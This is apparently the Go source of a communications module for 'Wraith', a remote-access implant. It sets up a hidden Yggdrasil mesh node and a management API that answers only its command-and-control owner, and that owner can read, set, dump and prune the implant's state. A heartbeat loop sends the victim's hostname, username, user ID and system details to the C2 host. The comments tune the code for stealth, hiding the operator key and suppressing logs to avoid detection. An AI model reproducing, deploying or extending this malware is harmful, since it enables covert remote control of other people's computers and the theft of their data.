wraith_module_comosum/wraith_module_comosum.go

398 lines
10 KiB
Go

package wraith_module_comosum
import (
"bytes"
"context"
"crypto/ed25519"
"fmt"
"io"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"os/user"
"runtime"
"sync"
"time"
"dev.l1qu1d.net/wraith-labs/wraith/libwraith"
"dev.l1qu1d.net/wraith-labs/wraith_module_comosum/internal/radio"
"github.com/awnumar/memguard"
"github.com/gologme/log"
"github.com/yggdrasil-network/yggdrasil-go/src/address"
)
const (
MOD_NAME = "w.comosum"
)
// A comms module implementation which utilises signed CBOR messages to remotely
// access the Wraith SHM. This module is meant as a simple default which does a
// good job in most usecases.
// The underlying protocol is [TCP / WS / QUIC / ... ] > Yggdrasil > HTTP > CBOR Structs.
type ModuleComosum struct {
// Ensures this module runs only once at a time.
mutex sync.Mutex
// Keeps track of when we last spoke to daddy. If it's been too long, we'll
// send a heartbeat so he knows we're alive.
lastSpoke time.Time
// Keeps track of SHM fields the module is watching so we can receive updates
// and unwatch them.
watching map[struct {
string
int
}]chan any
// Configuration.
// This value solely decides who has control over this module. The owner
// of the matching private key will be able to set up a C2 yggdrasil node.
AdminPubKey ed25519.PublicKey
// The private key that should be used for this instance of Comosum on
// the Yggdrasil network. This MUST NOT be hardcoded and MUST instead
// be generated at runtime to prevent clashes. The key is an argument
// to allow for custom generators.
OwnPrivKey ed25519.PrivateKey
// How long to wait after the last communication with C2 before sending
// a heartbeat. We send a heartbeat on startup and C2 should be keeping
// track of us so this can safely be quite a long time. Making this too
// long means that, if C2 suffers state loss, it will likely not be able
// to communicate with this Comosum until this timeout runs out. On the
// other hand, setting the value too low can make us too chatty and
// therefore detectable. 24 hours is probably a good choice.
LonelinessTimeout time.Duration
// Which addresses (if any) Comosum should listen on for yggdrasil
// connections. Setting this makes the Wraith more detectable but might
// improve its chances of successfully connecting to C2.
Listen []string
// Whether or not Comosum should use multicast to find other Comosum
// Wraiths on the local network. Setting this makes the Wraith more detectable
// but might improve its chances of successfully connecting to C2.
UseMulticast bool
// Which yggdrasil peers (if any) Comosum should immediately connect to on
// startup. Note that leaving this blank makes it very difficult for commands
// to reach Comosum, and impossible if the listener and multicast options are
// disabled. On the other hand, more peers means more network traffic
// and higher chances of detection.
StaticPeers []string
// Enable some debugging features like logging and the admin endpoint. DO NOT
// leave enabled in deployed instances. To disable, use "none".
Debug string
}
func (m *ModuleComosum) Mainloop(ctx context.Context, w *libwraith.Wraith) {
//
// Misc setup.
//
// Ensure this instance is only started once and mark as running if so.
single := m.mutex.TryLock()
if !single {
panic(fmt.Errorf("%s already running", MOD_NAME))
}
defer m.mutex.Unlock()
// Ensure the admin public key is protected in memory. We don't want to make it
// too easy to find out who is at the wheel now, do we?
defer memguard.Purge()
// Make sure keys are valid.
if keylen := len(m.OwnPrivKey); keylen != ed25519.PrivateKeySize {
panic(fmt.Errorf("[%s] incorrect private key size (is %d, should be %d)", MOD_NAME, keylen, ed25519.PublicKeySize))
}
if keylen := len(m.AdminPubKey); keylen != ed25519.PublicKeySize {
panic(fmt.Errorf("[%s] incorrect admin key size (is %d, should be %d)", MOD_NAME, keylen, ed25519.PublicKeySize))
}
// Who's your daddy?
daddyIP := memguard.NewEnclave(net.IP(address.AddrForKey(m.AdminPubKey)[:]).To16())
daddyPubKey := memguard.NewEnclave(m.AdminPubKey)
memguard.ScrambleBytes(m.AdminPubKey)
var err error
// Disable Yggdrasil logging unless debug mode is enabled - we don't
// want to give away any info.
logger := log.New(io.Discard, "", log.Flags())
if m.Debug != "none" {
logger = log.New(os.Stdout, MOD_NAME, log.Flags())
}
//
// Create and start an Yggdrasil node.
//
// Set up Yggdrasil.
n := radio.NewNode(logger)
n.GenerateConfig(m.Listen, m.StaticPeers, m.Debug)
if err = n.Run(); err != nil {
logger.Fatalln(err)
}
addr, _ := n.Address()
// Set up userspace network stack to handle Yggdrasil packets.
s, err := radio.CreateYggdrasilNetstack(n)
if err != nil {
panic(err)
}
// Create a special HTTP client that can send requests over Yggdrasil.
yggHttpClient := http.Client{
Transport: &http.Transport{
ForceAttemptHTTP2: true,
DialContext: s.DialContext,
},
}
//
// Set up and start management API.
//
port := rand.Intn(
radio.MGMT_LISTEN_PORT_MAX-radio.MGMT_LISTEN_PORT_MIN,
) + radio.MGMT_LISTEN_PORT_MIN
tcpListener, _ := s.ListenTCP(&net.TCPAddr{Port: port})
mux := http.NewServeMux()
mux.HandleFunc("/", func(res http.ResponseWriter, req *http.Request) {
daddyIPBytes, _ := daddyIP.Open()
daddyPubKeyBytes, _ := daddyPubKey.Open()
defer daddyIPBytes.Destroy()
defer daddyPubKeyBytes.Destroy()
// Verify that the connection is coming from C2.
remoteAddr, _, _ := net.SplitHostPort(req.RemoteAddr)
if remoteAddr != net.IP(daddyIPBytes.Bytes()).String() {
// You're not my daddy!
res.WriteHeader(http.StatusForbidden)
return
}
// Get the request body.
body, err := io.ReadAll(req.Body)
if err != nil {
res.WriteHeader(http.StatusBadRequest)
return
}
requestData := radio.PacketExchangeReq{}
err = radio.Unmarshal(&requestData, daddyPubKeyBytes.Bytes(), body)
if err != nil {
// The packet data is malformed, there is nothing more we
// can do.
res.WriteHeader(http.StatusBadRequest)
return
}
responseData := radio.PacketExchangeRes{}
// Set.
if len(requestData.Set) != 0 {
result := []string{}
for key, value := range requestData.Set {
w.SHMSet(key, value)
result = append(result, key)
}
responseData.Set = result
}
// Get.
if len(requestData.Get) != 0 {
result := map[string]any{}
for _, key := range requestData.Get {
result[key] = w.SHMGet(key)
}
responseData.Get = result
}
// Watch.
if len(requestData.Watch) != 0 {
result := map[string]int{}
for _, key := range requestData.Watch {
channel, watchId := w.SHMWatch(key)
// Keep track of this watch internally.
m.watching[struct {
string
int
}{
key,
watchId,
}] = channel
result[key] = watchId
}
responseData.Watch = result
}
// Unwatch.
if len(requestData.Unwatch) != 0 {
result := []struct {
CellName string
WatchId int
}{}
for _, key := range requestData.Unwatch {
w.SHMUnwatch(key.CellName, key.WatchId)
result = append(result, key)
// Delete internal record of this watch.
delete(m.watching, struct {
string
int
}{
key.CellName,
key.WatchId,
})
result = append(result, key)
}
responseData.Unwatch = result
}
// Dump.
if requestData.Dump {
responseData.Dump = w.SHMDump()
}
// Prune.
if requestData.Prune {
responseData.Prune = w.SHMPrune()
}
// Respond!
responseDataBytes, err := radio.Marshal(&responseData, m.OwnPrivKey)
if err != nil {
w.SHMSet(libwraith.SHM_ERRS, fmt.Errorf("marshalling response failed: %e", err))
return
}
res.Write(responseDataBytes)
res.WriteHeader(http.StatusOK)
// Update last spoke time so we don't send unnecessary heartbeats.
m.lastSpoke = time.Now()
})
server := http.Server{
Addr: ":0",
Handler: mux,
DisableGeneralOptionsHandler: true,
}
if m.Debug != "none" {
logger.Info(fmt.Printf("management API listening on http://[%s]:%d\n", addr.String(), port))
}
var wg sync.WaitGroup
wg.Add(2)
go func() {
defer wg.Done()
server.Serve(tcpListener)
}()
// Heartbeat loop.
go func() {
defer wg.Done()
// Cache some values used in the heartbeat.
strain := w.GetStrainId()
initTime := w.GetInitTime()
hostname, err := os.Hostname()
if err != nil {
hostname = "<unknown>"
}
username := "<unknown>"
userId := "<unknown>"
currentUser, err := user.Current()
if err == nil {
username = currentUser.Username
userId = currentUser.Uid
}
for {
timeUntilHeartbeat := m.lastSpoke.Add(m.LonelinessTimeout).Sub(time.Now())
// Send heartbeat after interval or exit if requested.
select {
case <-ctx.Done():
return
case <-time.After(timeUntilHeartbeat):
func() {
// Update last spoke time so we don't spam C2 with requests.
defer func() { m.lastSpoke = time.Now() }()
daddyIP, _ := daddyIP.Open()
defer daddyIP.Destroy()
// Build a heartbeat data packet.
heartbeatData := radio.PacketHeartbeatReq{
StrainId: strain,
InitTime: initTime,
Modules: w.ModsGet(),
HostOS: runtime.GOOS,
HostArch: runtime.GOARCH,
Hostname: hostname,
HostUser: username,
HostUserId: userId,
ManagementAPI: fmt.Sprint("http://[%s]:%d", addr.String(), port),
}
heartbeatBytes, err := radio.Marshal(&heartbeatData, m.OwnPrivKey)
if err != nil {
panic("error while marshaling heartbeat data, cannot continue: " + err.Error())
}
// Build a request to send the packet.
req := http.Request{
Method: http.MethodPost,
URL: &url.URL{
Scheme: "http",
Host: fmt.Sprintf("[%s]:%d", net.IP(daddyIP.Bytes()).String(), radio.C2_PORT),
Path: radio.ROUTE_PREFIX + radio.ROUTE_HEARTBEAT,
},
Header: http.Header{},
Cancel: ctx.Done(),
Body: io.NopCloser(bytes.NewReader(heartbeatBytes)),
}
req.Header.Set("User-Agent", fmt.Sprintf("wraith_module_comosum/%s", radio.CURRENT_PROTO))
// Send request to C2.
// We explicitly don't care about the result of this request.
// If it succeeded, great. If it failed, there's nothing we can do here.
_, _ = yggHttpClient.Do(&req)
}()
}
}
}()
//
// Cleanup.
//
// Block until we need to shut down.
<-ctx.Done()
server.Close()
tcpListener.Close()
n.Close()
// Block until all goroutines have exited.
wg.Wait()
}
// Return the name of this module.
func (m *ModuleComosum) WraithModuleName() string {
return MOD_NAME
}